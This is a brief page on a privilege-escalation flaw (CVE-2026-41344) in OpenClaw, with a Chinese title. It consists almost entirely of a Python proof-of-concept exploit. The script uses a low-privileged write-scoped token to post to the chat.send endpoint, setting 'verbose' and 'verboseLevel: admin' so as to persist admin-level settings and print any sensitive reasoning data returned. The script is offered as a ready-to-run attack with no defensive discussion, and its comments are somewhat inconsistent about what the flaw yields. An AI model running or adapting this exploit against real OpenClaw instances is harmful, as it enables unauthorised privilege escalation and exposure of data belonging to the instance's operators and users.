CVE-2026-41344 OpenClaw权限提升漏洞

import requests # PoC for CVE-2026-41344 # Target: OpenClaw < 2026.3.28 # This script simulates a low-privileged user sending a request # to the chat.send endpoint with the /verbose parameter enabled. target_url = "http://target-openclaw-instance/api/chat.send" headers = { "Content-Type": "application/json", # Low-privileged token with write scope "Authorization": "Bearer <WRITE_SCOPED_TOKEN>" } payload = { "message": "Test message", # Exploiting the verbose parameter to persist admin-level settings "verbose": True, "verboseLevel": "admin" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Request successful. Check response for sensitive reasoning data.") print("[+] Response:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")